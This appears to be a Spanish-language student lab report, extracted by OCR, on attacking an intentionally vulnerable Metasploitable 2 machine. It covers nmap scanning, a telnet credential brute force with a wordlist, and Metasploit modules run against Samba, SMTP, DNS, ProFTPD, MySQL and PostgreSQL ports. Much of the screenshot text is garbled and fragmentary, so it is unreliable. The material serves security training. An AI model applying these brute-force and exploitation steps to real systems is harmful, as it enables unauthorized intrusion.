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ABRIR METASPLOITABLE 2.

Iniciar con la configuracion predeterminada del sistema usuario: msfadmin y
contrasefa: msfadmin

llustracion 1 Metasploitable 2.

B ver 21 e -

Autocapturar teclado.. 5 &

Quays 4 [#)CTRUDERECHA

ABRIR LINUX

Iniciar la maquina virtual de Linux.

Tlustracion 2 Linux.

B @ o =& ® TR DERECHA



VULNERAR METASPLOITABLE 2.

Para vulnerar un sistema se deben seguir los siguientes pasos:

1. Abrir la terminal de Linux e ingresar como super usuario.

llustracion 3 Abrir terminal e ingresar como super usuario.

B root@aorulaparr: [homeforulaparr

Archivo Acciones Editar Vista Ayuda

[sudo] contrasena para orulaparr:
/home/orulaparr

Metasploitable 2 esta utilizando la IP 192.168.10.6 / 24
llustracion 4 IP metasploitable 2.

sfadmin@metasploitable:™

sfadmin@netasploitable:™$

sfadmin@metasploitable:™5 ipconfig

bash: ipconfig: command not found

sfadmin@metasploitable:™§ ifconfig

etho Link encap:Ethernet HWaddr 0B:00:27:ca:8c:74
inet addr:192.168.10.6 Bcast:192.168.10.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff :feca:Bc?4-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:18 errors:0 dropped:0 overruns:0 frame:0
TX packets:104 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgqueuelen:1000
RX bytes:4535 (4.4 KB) TX bytes:11008 (10.7 KB)
Interrupt:9 Base address:0xd020

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 Metric:1

RX packets:166 errors:0 dropped:0 overruns:0 frame:0
TX packets:166 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:48103 (46.9 KB) TX bytes:48103 (46.9 KB)

sfadmin@netasploitable:™5 _



2. Utilizar el comando nmap.

nmap -sn 192.168.10.6/24

Ilustracion 5 nmap.

=] root@orulaparr: /home/orulaparr

Archivo Acciones Editar Vista Ayuda

/home/orulaparr
192.168.10 4

IC)

Nmap scan report for 192.1

Host is up.

Nmap done: addre ; hosts up) scanned in

/home/orulaparr

Para ver los puertos disponibles nmap -sV 192.168.10.0/24

1lustracion 6 Puertos disponibles.

root@orulaparr: /home/orulaparr

hive Acciones Editar Vista Ayuda

192.1¢
Starting Nmap 7.95 (
report for

e VirtualBox virtual N

Host is up (
Not shown: 977 c
STATE
open EI
open 4.7p1 Debian 8ubuntul (protocol 2
open elne i Lnetd
open ostfix smtpd
open domain BIND 9.!
open http Apache httpd ((Ubuntu) DA
open ind
open netbios-ss
open etbios-ss
open
open
open
open
open
open

n
n




3. Abrir la consola.

Abrir la consola con el comando msfconsole

llustracion 7 Ingresar a la consola

root@orulaparr: /home/orulaparr

Archivo Acciones Editar Vista Ayuda

root@orulaparr: [home/orulaparr B root@orulaparr: flhome/orulaparr E

/home/orulaparr

Metasploit tip: Metwork adapter names can be used for IP options set LHOST
eth@




EDITAR UN DICCIONARIO.

Ilustracion 8 Diccionarios.

;

root@orulaparr: fusr/share/metasploit-framework/data/wordlists

Archivo Acciones Editar Vista Ayuda

root@o...laparr root@o...laparr H root@orulaparr: fusr/...mework/data/wordlists &

/home/orulaparr
/usr/share/metasploit-framework/data/wordlists

/usr/share/metasploit-framework/data/wordlists

update-u
burnett_top_1

db2_ aul
default_pas
ult_us

Afadir el usuario y contrasena predeterminado al diccionario escogido. En este
caso el diccionario es root_password.txt
llustracion 9 Edicion del diccionario.
| root@orulaparr: Jusrfshare/metasploit-framework/datafwordlists

Archivo Acciones Editar Vista Ayuda
root@o...laparr root@o...laparr root@orulaparr: /usr/...mework/data/wordlists =

root trendimsal.@
tslinux
uClinux




EXPLOTAR PUERTOS.

Los puertos para explotar son: 23, 25, 53, 139, 445, 2121, 3306, 5432.
1. Puerto 23

El puerto 23 esta asociado al servicio telnet.
llustracion 10 Opciones Telnet.

T

root@orulaparr: fhome/orulaparr

Archivo Acciones Editar Vista Ayuda

roo...arr H roo...arr H root@orulaparr: fus...work/datafwordlists B roo...arr E

Disclosu
Description

auth_bypa
Auth By

_I¢
T LAN Unauthentic

Automatic
indows 2 Pro All -

indows Pro All -

Ilustracion 11 Opcion de telnet elegida.

c root@orulaparr: /homeforulaparr

Archivo Acciones Editar Vista Ayuda

root@...aparr E root@...aparr ® root@orulaparr: [usr/...mework/data/wordlists [H root@...aparr H

) options
Module options (

Name Curren

10



Como se puede observar en la imagen, se validd cada usuario y contrasefa del
archivo user_pass.txt y cuando encontr6 el veridico accedi6 al Shell.

1lustracion 12 Ingreso al puerto 23 con éxito.

—

| root@orulaparr: /home/orulaparr
Archivo Acciones Editar Vista Ayuda

root@...aparr M root@...aparr B root@orulaparr: fusr/...

.18, LOGIN FAILED:
LOGIN FAILED:
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN FAILED:
LOGIN FAILE
LOGIN FAILED:
LOGIN FAILE
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN FA - nne (In
LOGIN t (In
LOGIN FA in (Inco
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
LOGIN
i sfadmin
th msfadmin

1
1
1
1
1
1
1
1
1
1
1
¥
T
1
¥
1
1
1
1
1
1
1
1
1
e |
A

- LOGIN FAILED:
Scanned 1 of 1 hosts (100
ution completed

2. Puerto 25
Ilustracion 13 Use 41.

root@eorulaparr: fhomelerulapare

Archivo Acciones Editar Vista Ayuda
root@orulaparr: fhomeforulaparr B root@orulaparr: fhome/orulaparr B

Current

asploit.html
RPORT ) The
THREAI

UN NL

USER_FILE

command .

11



Hustracion 14 Configurar el RHOST puerto 25.

- root@orulaparr: fhomeforulaparr

Archivo Acciones Editar Vista Ayuda

root@...aparr H ‘oot@...aparr H root@orulaparr: Jusr/...mework/data/wordlists B root@...aparr B

) > options
smtp/smtp_enum):
Nan Cur

RH

RPORT
THREA

UN

USER_FILE
of probable users

command.

L |

llustracion 15 Escaneo realizado con éxito.

1 root@orulaparr: /hemeforulaparr
Archivo Acciones Editar Vista Ayuda
root@...aparr root@...aparr = root@orulaparr: fusr/...mework/data/wordlists H root@...aparr H

Module optiens (au /scanner/smtp/smtp_enum):

Name C t ting uired D ription

ng-metasploit/basics/using-m
sploit.html
RPORT
THREADS
UNIXO0

USER_FILE

command.

user, uucp,
ned 1 of 1
module execution completed

12



3. Puerto 53

llustracion 16 Search domain.

C root@orulaparr: fhomeforulaparr

Archivo Acciones Editar Vista Ayuda

root...parr H root@orulaparr: fus...work/datafwordlists H root...parr H root...parr H root...parr E

ch domain

hing Modules

Disclosure Date

aux
normal

rtific
RT but al

lation atta

llustracion 17 Use 44.

] root@orulaparr: fhomeforulaparr
Archivo Acciones Editar Vista Ayuda

root...parr root@orulaparr: fus...work/datajwordlists B root...parr H root...parr M root...parr B

ription
DOMAIN
ENUM_A
ENUM_AXFR

ENUM_BRT

o

ENUM_C

ENUM_
ENUM_
ENUM
ENUM

o
Wwbow A

o

nsion by re y e TLD w
IANA TLD list

IPRANC 0 . r r CIDR identifier
NS e e name se queries

Proxies
RPORT

SEARCHLIST
STOP_WLDX f E / I i rd resol

13



llustracion 18 Puerto 53 con errores al explotar.

! root@orulaparr: fhomeforulaparr

Archivo Acciones Editar Vista Ayuda

root...parr [H root@orulaparr: Jus...work/data/wordlists B root...parr E root...parr

tion.rb:118:in “dns
tion.rb: :in “dns_wildc

num_dns.rb in “run’

4. Puerto 139

llustracion 19 Search samba puerto 139.

Z reot@orulaparr: /home/erulaparr
Archivo Acciones Editar Vista Ayuda

ar E root@orulapar ork/data/wordlists

isploit Documentation: https://docs.metasploit.com/

Disclosure D:

: Windows

: Windows

manual
d Resou

rget: Windows

14



llustracion 20 Use 15.

root@orulaparr: /home/orulaparr
Archivo Acciones Editar Vista Ayuda
ar root@orulaparr: fu...ork/data/wordlists B

port[, ty host:port][
docs.metasploit.com,

(an inter may be specified)

Exploit targ
Id Name

Automatic

Hlustracion 21 Puerto 139 explotado con éxito.
=] rect@orulaparr: fhome/orulaparr
Archivo Acciones Editar Vista Ayuda
ro...m M root@orulaparr: [u...ork/data/wordlists B ro...r H ro...r M ro....r ®
RHO T docs.metasploit.com/docs/usin
asploit.html
RPORT 139
oad options (cmd/uni:

Name £ cription

LHO .168. b / € address (an inte e may be spe
LPORT L y e listen port

module info with the info r info command .

15



5. Puerto 445

llustracion 22 Search samba puerto 445.

Hustracion 23 Puerto 445 explotado con éxito.

= root@orulaparr: fhomeforulaparr
Archivo Acciones Editar Vista Ayuda
root@orulaparr: [...rk/datajwordlists r

[ as
RPORT 139 y t+ (

@ Automatic

command.

RHOSTS 1 1¢

RPORT 445

CP handler on
ion 1 opened

10ami
oot

16



6. Puerto 2121
llustracion 24 Search ProFTPD.

)

root@orulaparr: fhome/orulaparr

Archivo Acciones Editar Vista Ayuda

[ | root@orulaparr: ...k/datafwordlists 8 r.... ® r.r ®

h ProFTPD

Name Disclosure Dat
escription

rflow

(Linu

exploit/freebsd/ftp/proft i 219-11-01
ProFIPD 1. 1 )

Hlustracion 25 Modulo 0 configurado para explotar el puerto 2121

[ ] root@orulaparr: [home/orulaparr
Archivo Acciones Editar Vista Ayuda

r..r @ root@orulaparr: ...k/data/wordlists B

set RPORT

options

N

RH y C : .metasploit.com/do

RPORT

LHOST
LPORT

i the full module info with e inf or f command .

17



llustracion 26 Exploit creado sin seccion Puerto 2121.

O

roct@eorulaparr: fhome/orulaparr

Archivo Acciones Editar Vista Ayuda

r....n 8 root@orulaparr: ...k/datajwordlists B [ |

RHO - Y The t
-metas
RPORT

oad options (linu

Na

LHOST
LPORT

command.

dler on 192.
nding A
ndin
nding
nding D
ompl but no sion was c
xploit(

7. Puerto 3306

Hlustracion 27 Search mysql.

root@orulaparr: fhomeforulaparr
Archivo Acciones Editar Vista Ayuda
£ root@orulapa...tajwordlists B Lo .. H

Metasploit Documentation: http docs.metasploit.com/

mysql

# Na
osure Date Check Description

18



lustracion 28 Use 0.

Z root@orulaparr: fhomeforulaparr
Archivo Acciones Editar Vista Ayuda

= root@orulapa...tafwordlists B ... H® ... ®

) > options

ntech_iv £ KSE et_cmd_inject):

Description

with
thost:port[ pe:host:port]l[ ...

t is randomly
TARGETURI base path to

URIPATH The URI to use f i ) i efault is random)
NAME admin The us name

uest,psh_inwve

to listen on. This must b
or to listen on a

PORT

Archive Acciones Editar Vista Ayuda

L3 f iy vordlists W

19



8. Puerto 5432

Hlustracion 30 Search postgresql.

o

root@orulaparr: fhome/forulaparr

Archivo Acciones Editar Vista Ayuda

root@or...rdlists L. X Lo ... ®

Matching Modules

# Discl
osure D 4 Check Description

rd remote code e ution

PostgresqL
and Remote
User History
pmp_sqli
assword Manager LinkV
Automa
Desktop trs w9 < 9 (PestgreSOL) on Windows

Desktop tra / 9 (PostgreSOL) on Windows

Hustracion 31 Configuracion modulo 17

* | root@orulaparr: fhome/orulaparr
Archivo Acciones Editar Vista Ayuda
= root@or...rdlists #

Name
DUMP_TABLE_OUTPUT

TABLENAME

Used when connec

Name Current i Required Description

no ession to run this module on

making :
Requir

DATABASE 0Sstgl no
PASSWORD st no

RHO no

RPORT - no

20



Hlustracion 32 Exploit completo sin seccion Puerto 5432.

B root@orulaparr: [homeforulaparr

Archivo Acciones Editar Vista Ayuda

] root@or...rdlists H

RPORT 5
USERNAME pos

The 1i yddress
The listen port

ull module info with the inf r info -d command.

> run
r One or more options failed to w
) > set LHOST 192

run

21
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